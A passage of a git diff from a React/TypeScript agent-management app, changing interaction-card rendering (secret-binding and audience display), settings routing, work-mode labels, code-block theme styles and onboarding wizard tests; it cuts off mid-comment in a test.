       : statusIcon(interaction.status);
-  const iconSpin = toolActionStyles?.spin ?? false;
+  const iconSpin = secretProposalStyles?.spin ?? toolActionStyles?.spin ?? false;
   const styles = withdrawnStyles ?? activeStyles ?? statusClasses(interaction.status);
   const createdByLabel = resolveActorLabel({
     agentId: interaction.createdByAgentId,
@@ -3252,6 +3621,15 @@ export function IssueThreadInteractionCard({
         userLabelMap,
       })
     : null;
+  // PAP-17280: the effective audience, shown *before* anyone responds so a
+  // reader never has to guess whether an open card is waiting on them. Derived
+  // from the same server snapshot the resolver routes enforce, so the copy
+  // cannot promise a wider audience than the API allows.
+  const audience = describeInteractionAudience({
+    interaction,
+    creatorLabel: createdByLabel,
+    addresseeLabel,
+  });
   const statusText =
     adminOutcome === "withdrawn"
       ? "Withdrawn"
@@ -3262,160 +3640,198 @@ export function IssueThreadInteractionCard({
           : statusLabel(interaction.status);
 
   return (
-    <div className={cn("rounded-lg border p-5 shadow-none", styles.shell)}>
-      <div className="flex flex-wrap items-start justify-between gap-4">
-        <div className="min-w-0 flex-1 basis-64">
-          <div className="flex flex-wrap items-center gap-2">
-            <span className={cn("inline-flex items-center gap-1 rounded-sm border px-2.5 py-1 text-(length:--text-micro) font-semibold uppercase tracking-(--tracking-eyebrow)", styles.badge)}>
-              <StatusIcon className={cn("h-3.5 w-3.5", iconSpin && "animate-spin")} />
-              {isPlan ? "Plan" : interactionKindLabel(interaction.kind)}
-              <span className="text-current/60">/</span>
-              {statusText}
-            </span>
-            {addresseeLabel ? (
-              <Tooltip>
-                <TooltipTrigger asChild>
-                  <Badge
-                    variant="secondary"
-                    className="gap-1"
-                    data-testid="interaction-addressee-badge"
-                  >
-                    <Bot className="h-3 w-3" />
-                    For {addresseeLabel}
-                  </Badge>
-                </TooltipTrigger>
-                <TooltipContent side="bottom" className="max-w-xs text-xs">
-                  Directed to {addresseeLabel}. Agent-addressed interactions are handled by that agent and are kept out of the board attention feed.
-                </TooltipContent>
-              </Tooltip>
+    // Every nested subcard resolves the same interaction, so they all explain a
+    // denial with the same audience the header states (PAP-17287).
+    <InteractionAudienceContext.Provider value={audience}>
+      <div className={cn("rounded-lg border p-5 shadow-none", styles.shell)}>
+        <div className="flex flex-wrap items-start justify-between gap-4">
+          <div className="min-w-0 flex-1 basis-64">
+            <div className="flex flex-wrap items-center gap-2">
+              <span
+                data-testid="interaction-status-badge"
+                className={cn(
+                  "inline-flex items-center gap-1 rounded-sm border px-2.5 py-1 text-(length:--text-micro) font-semibold uppercase tracking-(--tracking-eyebrow)",
+                  styles.badge,
+                )}
+              >
+                <StatusIcon className={cn("h-3.5 w-3.5", iconSpin && "animate-spin")} />
+                {isSecretProposal ? (
+                  <span className="flex flex-col sm:flex-row sm:items-center sm:gap-1">
+                    <span>Secret binding</span>
+                    <span className="hidden text-current/60 sm:inline">/</span>
+                    <span>{statusText}</span>
+                  </span>
+                ) : (
+                  <>
+                    {isPlan ? "Plan" : interactionKindLabel(interaction.kind)}
+                    <span className="text-current/60">/</span>
+                    {statusText}
+                  </>
+                )}
+              </span>
+              {addresseeLabel ? (
+                <Tooltip>
+                  <TooltipTrigger asChild>
+                    <Badge
+                      variant="secondary"
+                      className="gap-1"
+                      data-testid="interaction-addressee-badge"
+                    >
+                      <Bot className="h-3 w-3" />
+                      For {addresseeLabel}
+                    </Badge>
+                  </TooltipTrigger>
+                  <TooltipContent side="bottom" className="max-w-xs text-xs">
+                    Directed to {addresseeLabel}. Agent-addressed interactions are owned by that agent and are kept out of the open company attention feed.
+                  </TooltipContent>
+                </Tooltip>
+              ) : null}
+            </div>
+
+            <div className="mt-3 text-lg font-bold text-foreground">
+              {interaction.title
+                ?? (interaction.kind === "suggest_tasks"
+                  ? "Suggested task tree"
+                  : interaction.kind === "ask_user_questions"
+                    // Only a human-only card is genuinely "for the operator";
+                    // an open card is answerable by any teammate (PAP-17280).
+                    ? interaction.payload.title
+                      ?? (audience.policy === "human_only"
+                        ? "Questions for the operator"
+                        : "Questions to answer")
+                  : interaction.kind === "request_checkbox_confirmation"
+                    ? "Checkbox confirmation requested"
+                    : isSecretProposal
+                      ? "Secret binding requested"
+                    : isToolAction
+                      ? "Tool approval requested"
+                      : interaction.kind === "request_item_verdicts"
+                        ? "Review these items"
+                        : isPlan
+                          ? "Plan review"
+                          : "Confirmation requested")}
+            </div>
+            {interaction.summary ? (
+              <p className="mt-2 max-w-3xl text-sm leading-6 text-muted-foreground">
+                {interaction.summary}
+              </p>
+            ) : null}
+            {interaction.status === "pending" ? (
+              <InteractionAudienceLine audience={audience} className="mt-3" />
             ) : null}
           </div>
 
-          <div className="mt-3 text-lg font-bold text-foreground">
-            {interaction.title
-              ?? (interaction.kind === "suggest_tasks"
-                ? "Suggested task tree"
-                : interaction.kind === "ask_user_questions"
-                  ? interaction.payload.title ?? "Questions for the operator"
-                : interaction.kind === "request_checkbox_confirmation"
-                  ? "Checkbox confirmation requested"
-                  : isToolAction
-                    ? "Tool approval requested"
-                    : interaction.kind === "request_item_verdicts"
-                      ? "Review these items"
-                      : isPlan
-                        ? "Plan review"
-                        : "Confirmation requested")}
-          </div>
-          {interaction.summary ? (
-            <p className="mt-2 max-w-3xl text-sm leading-6 text-muted-foreground">
-              {interaction.summary}
-            </p>
-          ) : null}
+          <Tooltip>
+            <TooltipTrigger asChild>
+              <div className="rounded-sm border border-border/70 bg-transparent px-3 py-2 text-right text-xs text-muted-foreground">
+                <div className="font-medium text-foreground">{formatShortDate(interaction.createdAt)}</div>
+                <div>proposed by {createdByLabel}</div>
+              </div>
+            </TooltipTrigger>
+            <TooltipContent side="bottom" className="text-xs">
+              Created {formatDateTime(interaction.createdAt)}
+            </TooltipContent>
+          </Tooltip>
         </div>
 
-        <Tooltip>
-          <TooltipTrigger asChild>
-            <div className="rounded-sm border border-border/70 bg-transparent px-3 py-2 text-right text-xs text-muted-foreground">
-              <div className="font-medium text-foreground">{formatShortDate(interaction.createdAt)}</div>
-              <div>proposed by {createdByLabel}</div>
+        <div className="mt-5">
+          {interaction.kind === "suggest_tasks" ? (
+            <SuggestTasksCard
+              interaction={interaction}
+              agentMap={agentMap}
+              currentUserId={currentUserId}
+              userLabelMap={userLabelMap}
+              onAcceptInteraction={onAcceptInteraction}
+              onRejectInteraction={onRejectInteraction}
+            />
+          ) : interaction.kind === "ask_user_questions" ? (
+            <AskUserQuestionsCard
+              interaction={interaction}
+              onSubmitInteractionAnswers={onSubmitInteractionAnswers}
+              onCancelInteraction={onCancelInteraction}
+              externalReferences={externalReferences}
+            />
+          ) : interaction.kind === "request_checkbox_confirmation" ? (
+            <RequestCheckboxConfirmationCard
+              interaction={interaction}
+              primaryActionOnRight={primaryActionOnRight}
+              onAcceptInteraction={onAcceptInteraction}
+              onRejectInteraction={onRejectInteraction}
+              externalReferences={externalReferences}
+            />
+          ) : isSecretProposal && interaction.kind === "request_confirmation" && secretProposalState ? (
+            <RequestSecretProposalCard
+              interaction={interaction}
+              state={secretProposalState}
+              resolvedByLabel={resolvedByLabel}
+              onAcceptInteraction={onAcceptInteraction}
+              onRejectInteraction={onRejectInteraction}
+            />
+          ) : isToolAction && interaction.kind === "request_confirmation" && toolActionState ? (
+            <RequestToolActionCard
+              interaction={interaction}
+              state={toolActionState}
+              resolvedByLabel={resolvedByLabel}
+              requestedByLabel={createdByLabel}
+              onAcceptInteraction={onAcceptInteraction}
+              onRejectInteraction={onRejectInteraction}
+              externalReferences={externalReferences}
+            />
+          ) : interaction.kind === "request_item_verdicts" ? (
+            <RequestItemVerdictsCard
+              interaction={interaction}
+              onSubmitInteractionVerdicts={onSubmitInteractionVerdicts}
+              externalReferences={externalReferences}
+            />
+          ) : (
+            <RequestConfirmationCard
+              interaction={interaction}
+              isPlan={isPlan}
+              primaryActionOnRight={primaryActionOnRight}
+              onAcceptInteraction={onAcceptInteraction}
+              onRejectInteraction={onRejectInteraction}
+              onUploadImage={onUploadImage}
+              externalReferences={externalReferences}
+            />
+          )}
+        </div>
+
+        {adminOutcome === "withdrawn" ? (
+          <div
+            className="mt-4 border-t border-border/60 pt-3 text-xs text-muted-foreground"
+            data-testid="interaction-withdrawn-footer"
+          >
+            <div>
+              Withdrawn by{" "}
+              <span className="font-medium text-foreground">{resolvedByLabel ?? "an agent"}</span>
+              {resolvedByAgent ? <ResolvedByAgentChip /> : null}
+              {interaction.resolvedAt ? ` on ${formatShortDate(interaction.resolvedAt)}` : ""}
             </div>
-          </TooltipTrigger>
-          <TooltipContent side="bottom" className="text-xs">
-            Created {formatDateTime(interaction.createdAt)}
-          </TooltipContent>
-        </Tooltip>
-      </div>
-
-      <div className="mt-5">
-        {interaction.kind === "suggest_tasks" ? (
-          <SuggestTasksCard
-            interaction={interaction}
-            agentMap={agentMap}
-            currentUserId={currentUserId}
-            userLabelMap={userLabelMap}
-            onAcceptInteraction={onAcceptInteraction}
-            onRejectInteraction={onRejectInteraction}
-          />
-        ) : interaction.kind === "ask_user_questions" ? (
-          <AskUserQuestionsCard
-            interaction={interaction}
-            onSubmitInteractionAnswers={onSubmitInteractionAnswers}
-            onCancelInteraction={onCancelInteraction}
-            externalReferences={externalReferences}
-          />
-        ) : interaction.kind === "request_checkbox_confirmation" ? (
-          <RequestCheckboxConfirmationCard
-            interaction={interaction}
-            primaryActionOnRight={primaryActionOnRight}
-            onAcceptInteraction={onAcceptInteraction}
-            onRejectInteraction={onRejectInteraction}
-            externalReferences={externalReferences}
-          />
-        ) : isToolAction && interaction.kind === "request_confirmation" && toolActionState ? (
-          <RequestToolActionCard
-            interaction={interaction}
-            state={toolActionState}
-            resolvedByLabel={resolvedByLabel}
-            requestedByLabel={createdByLabel}
-            onAcceptInteraction={onAcceptInteraction}
-            onRejectInteraction={onRejectInteraction}
-            externalReferences={externalReferences}
-          />
-        ) : interaction.kind === "request_item_verdicts" ? (
-          <RequestItemVerdictsCard
-            interaction={interaction}
-            onSubmitInteractionVerdicts={onSubmitInteractionVerdicts}
-            externalReferences={externalReferences}
-          />
-        ) : (
-          <RequestConfirmationCard
-            interaction={interaction}
-            isPlan={isPlan}
-            primaryActionOnRight={primaryActionOnRight}
-            onAcceptInteraction={onAcceptInteraction}
-            onRejectInteraction={onRejectInteraction}
-            onUploadImage={onUploadImage}
-            externalReferences={externalReferences}
-          />
-        )}
-      </div>
-
-      {adminOutcome === "withdrawn" ? (
-        <div
-          className="mt-4 border-t border-border/60 pt-3 text-xs text-muted-foreground"
-          data-testid="interaction-withdrawn-footer"
-        >
-          <div>
-            Withdrawn by{" "}
-            <span className="font-medium text-foreground">{resolvedByLabel ?? "an agent"}</span>
+            {adminReason ? (
+              <div className="mt-1 italic text-muted-foreground/90">"{adminReason}"</div>
+            ) : null}
+          </div>
+        ) : adminOutcome === "issue_closed" && interaction.resolvedAt ? (
+          // The header badge + body already explain the issue-closed expiry;
+          // the footer is just the audit timestamp.
+          <div
+            className="mt-4 border-t border-border/60 pt-3 text-xs text-muted-foreground"
+            data-testid="interaction-issue-closed-footer"
+          >
+            {formatShortDate(interaction.resolvedAt)}
+          </div>
+        ) : resolvedByLabel && !isToolAction ? (
+          <div
+            className="mt-4 flex flex-wrap items-center gap-x-1 gap-y-0.5 border-t border-border/60 pt-3 text-xs text-muted-foreground"
+            data-testid="interaction-resolved-footer"
+          >
+            Resolved by <span className="font-medium text-foreground">{resolvedByLabel}</span>
             {resolvedByAgent ? <ResolvedByAgentChip /> : null}
             {interaction.resolvedAt ? ` on ${formatShortDate(interaction.resolvedAt)}` : ""}
           </div>
-          {adminReason ? (
-            <div className="mt-1 italic text-muted-foreground/90">"{adminReason}"</div>
-          ) : null}
-        </div>
-      ) : adminOutcome === "issue_closed" && interaction.resolvedAt ? (
-        // The header badge + body already explain the issue-closed expiry;
-        // the footer is just the audit timestamp.
-        <div
-          className="mt-4 border-t border-border/60 pt-3 text-xs text-muted-foreground"
-          data-testid="interaction-issue-closed-footer"
-        >
-          {formatShortDate(interaction.resolvedAt)}
-        </div>
-      ) : resolvedByLabel && !isToolAction ? (
-        <div
-          className="mt-4 flex flex-wrap items-center gap-x-1 gap-y-0.5 border-t border-border/60 pt-3 text-xs text-muted-foreground"
-          data-testid="interaction-resolved-footer"
-        >
-          Resolved by <span className="font-medium text-foreground">{resolvedByLabel}</span>
-          {resolvedByAgent ? <ResolvedByAgentChip /> : null}
-          {interaction.resolvedAt ? ` on ${formatShortDate(interaction.resolvedAt)}` : ""}
-        </div>
-      ) : null}
-    </div>
+        ) : null}
+      </div>
+    </InteractionAudienceContext.Provider>
   );
 }
 
diff --git a/ui/src/components/IssueWorkspaceCard.tsx b/ui/src/components/IssueWorkspaceCard.tsx
index 9d66058e933..4f2e5921ab3 100644
--- a/ui/src/components/IssueWorkspaceCard.tsx
+++ b/ui/src/components/IssueWorkspaceCard.tsx
@@ -97,7 +97,7 @@ function workspaceModeLabel(mode: string | null | undefined) {
   switch (mode) {
     case "isolated_workspace": return "Isolated workspace";
     case "operator_branch": return "Operator branch";
-    case "cloud_sandbox": return "Cloud sandbox";
+    case "cloud_sandbox": return "Cloud environment";
     case "adapter_managed": return "Adapter managed";
     default: return "Workspace";
   }
diff --git a/ui/src/components/Layout.test.tsx b/ui/src/components/Layout.test.tsx
index 416bc7b659c..d5868016a16 100644
--- a/ui/src/components/Layout.test.tsx
+++ b/ui/src/components/Layout.test.tsx
@@ -469,9 +469,10 @@ describe("Layout", () => {
     expect(selectorText).toContain("members");
     expect(selectorText).toContain("invites");
     expect(selectorText).toContain("secrets");
-    expect(selectorText).toContain("instance general");
-    expect(selectorText).toContain("instance environments");
-    expect(selectorText).toContain("instance plugins");
+    expect(selectorText).toContain("profile");
+    expect(selectorText).toContain("environments");
+    expect(selectorText).toContain("plugins");
+    expect(selectorText).not.toContain("instance general");
 
     await act(async () => {
       root.unmount();
@@ -506,6 +507,35 @@ describe("Layout", () => {
     });
   });
 
+  it.each(["/PAP/company/export", "/PAP/company/import"])(
+    "renders the shared settings sidebar on %s",
+    async (pathname) => {
+      currentPathname = pathname;
+      const root = createRoot(container);
+      const queryClient = new QueryClient({
+        defaultOptions: { queries: { retry: false } },
+      });
+
+      await act(async () => {
+        root.render(
+          <QueryClientProvider client={queryClient}>
+            <Layout />
+          </QueryClientProvider>,
+        );
+      });
+      await flushReact();
+      await flushReact();
+
+      expect(container.textContent).toContain("Company settings sidebar");
+      expect(container.textContent).toContain("Main company nav");
+      expect(mockSetForceCollapsed).toHaveBeenCalledWith(true);
+
+      await act(async () => {
+        root.unmount();
+      });
+    },
+  );
+
   it("keeps the app sidebar and shows the Apps sidebar in the secondary pane on legacy tools routes", async () => {
     currentPathname = "/PAP/tools/runtime";
     const root = createRoot(container);
diff --git a/ui/src/components/Layout.tsx b/ui/src/components/Layout.tsx
index e4f62b6e213..205ff57c4af 100644
--- a/ui/src/components/Layout.tsx
+++ b/ui/src/components/Layout.tsx
@@ -113,7 +113,11 @@ export function Layout() {
   const location = useLocation();
   const navigationType = useNavigationType();
   const { enabled: appsEnabled } = useAppsEnabled();
-  const isCompanySettingsRoute = location.pathname.includes("/company/settings");
+  const isCompanySettingsRoute = [
+    "/company/settings",
+    "/company/export",
+    "/company/import",
+  ].some((settingsPath) => location.pathname.includes(settingsPath));
   const companyPathSegments = getCompanyPathSegments(location.pathname, companyPrefix);
   const isToolsRoute = companyPathSegments[0]?.toLowerCase() === "tools";
   const isAppsRoute = companyPathSegments[0]?.toLowerCase() === "apps";
diff --git a/ui/src/components/MarkdownBody.tsx b/ui/src/components/MarkdownBody.tsx
index b1f22126851..a26cafac79e 100644
--- a/ui/src/components/MarkdownBody.tsx
+++ b/ui/src/components/MarkdownBody.tsx
@@ -231,7 +231,7 @@ const codeBlockActionsStyle: React.CSSProperties = {
   gap: "0.25rem",
 };
 
-const codeBlockActionStyle: React.CSSProperties = {
+export const codeBlockActionStyle: React.CSSProperties = {
   position: "static",
   opacity: 1,
   display: "inline-flex",
@@ -242,7 +242,7 @@ const codeBlockActionStyle: React.CSSProperties = {
   padding: "0.2rem 0.4rem",
   borderRadius: "calc(var(--radius) - 4px)",
   border: "1px solid color-mix(in oklab, var(--foreground) 14%, transparent)",
-  backgroundColor: "color-mix(in oklab, var(--muted) 92%, var(--background) 8%)",
+  backgroundColor: "var(--background)",
   color: "var(--muted-foreground)",
   fontSize: "var(--text-micro)",
   lineHeight: 1,
diff --git a/ui/src/components/MarkdownCodeBlockStyles.test.ts b/ui/src/components/MarkdownCodeBlockStyles.test.ts
new file mode 100644
index 00000000000..13f31b82e47
--- /dev/null
+++ b/ui/src/components/MarkdownCodeBlockStyles.test.ts
@@ -0,0 +1,70 @@
+import { readFileSync } from "node:fs";
+import { fileURLToPath } from "node:url";
+import { describe, expect, it } from "vitest";
+
+import { codeBlockActionStyle } from "./MarkdownBody";
+
+const stylesheet = readFileSync(fileURLToPath(new URL("../index.css", import.meta.url)), "utf8");
+
+function cssBlock(selector: string): string {
+  const start = stylesheet.indexOf(`${selector} {`);
+  expect(start, `Missing CSS selector: ${selector}`).toBeGreaterThanOrEqual(0);
+
+  const bodyStart = stylesheet.indexOf("{", start);
+  const bodyEnd = stylesheet.indexOf("\n}", bodyStart);
+  expect(bodyStart, `Missing CSS block start: ${selector}`).toBeGreaterThanOrEqual(0);
+  expect(bodyEnd, `Missing CSS block end: ${selector}`).toBeGreaterThan(bodyStart);
+
+  return stylesheet.slice(bodyStart + 1, bodyEnd);
+}
+
+/* The rendered code block used to be pinned to fixed Catppuccin literals
+   in the normal AND the prose-invert variables. A code
+   block therefore stayed dark in light mode. These tests fail if any of
+   those surfaces is pinned to a literal again, rather than riding a token
+   that carries a `.dark` override. */
+
+describe("markdown code block styles", () => {
+  it("rides theme tokens for the rendered code block surface", () => {
+    const block = cssBlock(".paperclip-markdown pre");
+
+    expect(block).toContain("background-color: var(--muted)");
+    expect(block).toContain("color: var(--foreground)");
+    expect(block).toContain("border: 1px solid var(--border)");
+    expect(block).toContain("border-radius: var(--radius-lg)");
+  });
+
+  it("rides theme tokens for the editor content code block surface", () => {
+    const block = cssBlock(".paperclip-mdxeditor-content pre");
+
+    expect(block).toContain("background: var(--muted)");
+    expect(block).toContain("color: var(--foreground)");
+    expect(block).toContain("border: 1px solid var(--border)");
+    expect(block).toContain("border-radius: var(--radius-lg)");
+  });
+
+  it("points the normal and inverted prose variables at the same tokens", () => {
+    const block = cssBlock(".paperclip-markdown");
+
+    expect(block).toContain("--tw-prose-pre-bg: var(--muted)");
+    expect(block).toContain("--tw-prose-pre-code: var(--foreground)");
+    expect(block).toContain("--tw-prose-invert-pre-bg: var(--muted)");
+    expect(block).toContain("--tw-prose-invert-pre-code: var(--foreground)");
+  });
+
+  it("keeps every themed code surface free of hardcoded colors", () => {
+    for (const selector of [".paperclip-markdown pre", ".paperclip-mdxeditor-content pre", ".paperclip-markdown"]) {
+      // Any hex literal, or an rgb()/hsl() literal, re-pins the surface to one mode.
+      expect(cssBlock(selector), `${selector} must not hardcode a color`).not.toMatch(
+        /#[0-9a-f]{3,8}\b|\brgba?\(|\bhsla?\(/i,
+      );
+    }
+  });
+
+  it("separates the copy and wrap controls from the code block surface", () => {
+    // The controls sit on top of the block. --muted is now the block's own
+    // fill, so the controls must not use it or they disappear against it.
+    expect(codeBlockActionStyle.backgroundColor).toBe("var(--background)");
+    expect(codeBlockActionStyle.backgroundColor).not.toContain("--muted");
+  });
+});
diff --git a/ui/src/components/NewIssueDialog.test.tsx b/ui/src/components/NewIssueDialog.test.tsx
index 11c4b6ba696..1d1474351e1 100644
--- a/ui/src/components/NewIssueDialog.test.tsx
+++ b/ui/src/components/NewIssueDialog.test.tsx
@@ -959,6 +959,7 @@ describe("NewIssueDialog", () => {
 
     const modeChip = () => container.querySelector("[data-issue-work-mode-chip]");
     expect(modeChip()?.getAttribute("data-issue-work-mode-chip")).toBe("standard");
+    expect(modeChip()?.textContent).toContain("Auto mode");
 
     await act(async () => {
       modeChip()?.dispatchEvent(new KeyboardEvent("keydown", {
@@ -969,6 +970,7 @@ describe("NewIssueDialog", () => {
       }));
     });
     expect(modeChip()?.getAttribute("data-issue-work-mode-chip")).toBe("planning");
+    expect(modeChip()?.textContent).toContain("Plan mode");
 
     await act(async () => {
       modeChip()?.dispatchEvent(new KeyboardEvent("keydown", {
@@ -979,6 +981,7 @@ describe("NewIssueDialog", () => {
       }));
     });
     expect(modeChip()?.getAttribute("data-issue-work-mode-chip")).toBe("ask");
+    expect(modeChip()?.textContent).toContain("Ask mode");
 
     await act(async () => {
       modeChip()?.dispatchEvent(new KeyboardEvent("keydown", {
@@ -1417,13 +1420,13 @@ describe("NewIssueDialog", () => {
       return button?.querySelector("svg")?.getAttribute("class") ?? "";
     }
 
-    it("uses agent-mode labels and brand status hues by default", async () => {
+    it("uses auto-mode labels and brand status hues by default", async () => {
       const { root } = renderDialog(container);
       await waitForAssertion(() => {
-        expect(workModeOption("standard")?.textContent).toContain("Agent mode");
+        expect(workModeOption("standard")?.textContent).toContain("Auto mode");
       });
 
-      expect(workModeOption("standard")?.textContent).toContain("Agent mode");
+      expect(workModeOption("standard")?.textContent).toContain("Auto mode");
       expect(workModeOption("ask")?.textContent).toContain("Ask mode");
       expect(workModeOption("planning")?.textContent).toContain("Plan mode");
 
diff --git a/ui/src/components/NewIssueDialog.tsx b/ui/src/components/NewIssueDialog.tsx
index 82fcaefb7e9..f5652ee7841 100644
--- a/ui/src/components/NewIssueDialog.tsx
+++ b/ui/src/components/NewIssueDialog.tsx
@@ -2239,7 +2239,7 @@ export function NewIssueDialog() {
                 )}
               >
                 <CurrentWorkModeIcon className="h-3 w-3" />
-                {currentWorkMode.shortLabel}
+                {currentWorkMode.label}
               </button>
             </PopoverTrigger>
             <PopoverContent className="w-36 p-1" align="start">
diff --git a/ui/src/components/OnboardingWizard.adapters.test.tsx b/ui/src/components/OnboardingWizard.adapters.test.tsx
index 5796793f251..77e25a97348 100644
--- a/ui/src/components/OnboardingWizard.adapters.test.tsx
+++ b/ui/src/components/OnboardingWizard.adapters.test.tsx
@@ -43,6 +43,28 @@ vi.mock("../context/DialogContext", () => ({
 vi.mock("../context/CompanyContext", () => ({
   useCompany: () => mockCompany,
 }));
+// The restore gate fetches the company list itself to verify draft ownership,
+// rather than trusting the shared cache, so this module now needs stubbing
+// here. An empty list is fine: the drafts in this file carry no
+// `createdCompanyId`, so there is no ownership question — but the fetch has to
+// succeed for the gate to treat the draft as decidable at all.
+// The company list is keyed by account, so it holds until the session query
+// *succeeds*. A seeded entry is stale under the test client and refetches, so
+// the refetch has to answer too — otherwise the identity errors and the list
+// never runs.
+const mockAuthApi = vi.hoisted(() => ({ getSession: vi.fn() }));
+vi.mock("../api/auth", async (importOriginal) => {
+  const actual = await importOriginal<typeof import("../api/auth")>();
+  return { ...actual, authApi: { ...actual.authApi, getSession: mockAuthApi.getSession } };
+});
+
+vi.mock("../api/companies", () => ({
+  companiesApi: {
+    create: vi.fn(),
+    list: vi.fn().mockResolvedValue([]),
+    detachInflightList: vi.fn(),
+  },
+}));
 vi.mock("../adapters", () => ({
   listUIAdapters: () => mockAdapterRegistry.list,
   getUIAdapter: () => ({ buildAdapterConfig: () => ({}) }),
@@ -75,6 +97,7 @@ vi.mock("./AsciiArtAnimation", () => ({ AsciiArtAnimation: () => null }));
 vi.mock("./FrontDoor", () => ({ FrontDoor: () => null }));
 vi.mock("./AgentCapsule", () => ({ AgentCapsule: () => null }));
 
+import { queryKeys } from "../lib/queryKeys";
 import { OnboardingWizard } from "./OnboardingWizard";
 
 // eslint-disable-next-line @typescript-eslint/no-explicit-any
@@ -94,6 +117,12 @@ async function mount() {
   const queryClient = new QueryClient({
     defaultOptions: { queries: { retry: false } },
   });
+  // The company list is keyed by account, so it holds until the session is
+  // known. Seeding it is how this test says "signed in".
+  queryClient.setQueryData(queryKeys.auth.session, {
+    session: { id: "session-1", userId: "user-1" },
+    user: { id: "user-1", name: "Example", email: "user-1@example.com", image: null },
+  });
   await act(async () => {
     root.render(
       <QueryClientProvider client={queryClient}>
@@ -107,6 +136,10 @@ async function mount() {
 
 describe("OnboardingWizard adapter selection", () => {
   beforeEach(() => {
+    mockAuthApi.getSession.mockResolvedValue({
+      session: { id: "session-1", userId: "user-1" },
+      user: { id: "user-1", name: "Example", email: "user-1@example.com", image: null },
+    });
     window.localStorage.clear();
     mockDialog.onboardingOpen = true;
     mockDialog.onboardingOptions = {};
diff --git a/ui/src/components/OnboardingWizard.step.test.tsx b/ui/src/components/OnboardingWizard.step.test.tsx
index e4ac7144729..78ab9b166ff 100644
--- a/ui/src/components/OnboardingWizard.step.test.tsx
+++ b/ui/src/components/OnboardingWizard.step.test.tsx
@@ -32,7 +32,24 @@ const mockGoalsApi = vi.hoisted(() => ({
   update: vi.fn(),
 }));
 const mockAdaptersApi = vi.hoisted(() => ({ list: vi.fn() }));
+const mockAgentsApi = vi.hoisted(() => ({
+  create: vi.fn(),
+  adapterModels: vi.fn(),
+  hire: vi.fn(),
+  instructionsBundle: vi.fn(),
+  saveInstructionsFile: vi.fn(),
+  testEnvironment: vi.fn(),
+}));
 const mockCompaniesApi = vi.hoisted(() => ({ create: vi.fn() }));
+// The hire path resolves the Test environment before it probes: it reads the
+// environment list, the instance settings, and the experimental settings. The
+// test stubs these so the resolution settles on the local default, the same as
+// a real run with no instance default.
+const mockEnvironmentsApi = vi.hoisted(() => ({ list: vi.fn() }));
+const mockInstanceSettingsApi = vi.hoisted(() => ({
+  get: vi.fn(),
+  getExperimental: vi.fn(),
+}));
 
 const routerState = vi.hoisted(() => ({ pathname: "/" }));
 const dialogState = vi.hoisted(() => ({
@@ -54,12 +71,12 @@ const companyState = vi.hoisted(() => ({
 vi.mock("../api/goals", () => ({ goalsApi: mockGoalsApi }));
 vi.mock("@/api/adapters", () => ({ adaptersApi: mockAdaptersApi }));
 vi.mock("../api/companies", () => ({ companiesApi: mockCompaniesApi }));
-vi.mock("../api/agents", () => ({
-  agentsApi: { create: vi.fn(), adapterModels: vi.fn().mockResolvedValue([]) },
-}));
+vi.mock("../api/agents", () => ({ agentsApi: mockAgentsApi }));
 vi.mock("../api/approvals", () => ({ approvalsApi: { create: vi.fn() } }));
 vi.mock("../api/issues", () => ({ issuesApi: { create: vi.fn() } }));
 vi.mock("../api/projects", () => ({ projectsApi: { list: vi.fn(), create: vi.fn() } }));
+vi.mock("../api/environments", () => ({ environmentsApi: mockEnvironmentsApi }));
+vi.mock("../api/instanceSettings", () => ({ instanceSettingsApi: mockInstanceSettingsApi }));
 
 vi.mock("@/lib/router", () => ({
   useLocation: () => ({ pathname: routerState.pathname }),
@@ -88,7 +105,9 @@ function currentStep(): "mission" | "agent" | "closed" | "other" {
   if (!body.querySelector("[role='dialog'], .fixed.inset-0")) return "closed";
   const headings = [...body.querySelectorAll("h3")].map((h) => h.textContent);
   if (headings.includes("Define your mission")) return "mission";
-  if (body.querySelector("input[placeholder='Chief of staff']")) return "agent";
+  // Keyed on the role control rather than the name field: the name is optional
+  // and starts empty, so its placeholder is the generic "Name".
+  if (body.querySelector("#onboarding-agent-role")) return "agent";
   return "other";
 }
 
@@ -176,6 +195,21 @@ describe("OnboardingWizard — which step it lands on", () => {
     dialogState.onboardingRouteDismissed = false;
     mockAdaptersApi.list.mockResolvedValue([]);
     mockGoalsApi.list.mockResolvedValue([]);
+    mockAgentsApi.adapterModels.mockResolvedValue([]);
+    mockAgentsApi.hire.mockResolvedValue({ agent: { id: "agent-1" }, approval: null });
+    mockAgentsApi.instructionsBundle.mockResolvedValue({ entryFile: "AGENTS.md" });
+    mockAgentsApi.saveInstructionsFile.mockResolvedValue({});
+    mockAgentsApi.testEnvironment.mockResolvedValue({
+      adapterType: "claude_local",
+      status: "pass",
+      checks: [],
+      testedAt: new Date("2026-03-02T00:00:00Z").toISOString(),
+    });
+    mockEnvironmentsApi.list.mockResolvedValue([]);
+    mockInstanceSettingsApi.get.mockResolvedValue({ defaultEnvironmentId: null });
+    mockInstanceSettingsApi.getExperimental.mockResolvedValue({
+      enableManagedSandboxOnly: false,
+    });
   });
 
   afterEach(async () => {
@@ -702,4 +736,224 @@ describe("OnboardingWizard — which step it lands on", () => {
 
     expect(currentStep()).toBe("agent");
   });
+
+  describe("a company that already has its mission", () => {
+    // It opens on the agent step, so steps 1 and 2 never run. Everything the
+    // mission feeds has to come from the company instead of the form.
+
+    const MISSION_GOAL = {
+      ...COMPANY_GOAL,
+      title: "Scale the marketplace",
+      description: "Reach 1000 sellers",
+    };
+
+    async function openOnAgentStep() {
+      routerState.pathname = "/PC1/onboarding";
+      mockGoalsApi.list.mockResolvedValue([MISSION_GOAL]);
+      await render();
+      await settle();
+      expect(currentStep()).toBe("agent");
+    }
+
+    /**
+     * Choose a role, which the step now requires before it will advance — it
+     * asks rather than assuming one. Driven by keyboard because the control is
+     * a Radix listbox: its pointer path needs `hasPointerCapture`, which jsdom
+     * does not implement, while its keyboard path does not.
+     */
+    async function pickRole(label = "CEO") {
+      const trigger = document.getElementById("onboarding-agent-role")!;
+      await act(async () => {
+        trigger.dispatchEvent(
+          new KeyboardEvent("keydown", { key: "Enter", bubbles: true }),
+        );
+      });
+      await settle();
+      const option = [...document.body.querySelectorAll('[role="option"]')].find(
+        (o) => o.textContent?.trim() === label,
+      ) as HTMLElement | undefined;
+      expect(option).toBeDefined();
+      await act(async () => {
+        option!.dispatchEvent(new KeyboardEvent("keydown", { key: "Enter", bubbles: true }));
+      });
+      await settle();
+    }
+
+    it("seeds the lead agent's instructions with the mission it was never asked for", async () => {
+      // The regression this exists for. The agent step feeds
+      // `composeCeoInstructions` from the mission field, and a company entered
+      // here never types one — so the agent was hired knowing nothing of the
+      // mission the customer gave at signup, and nothing reported it.
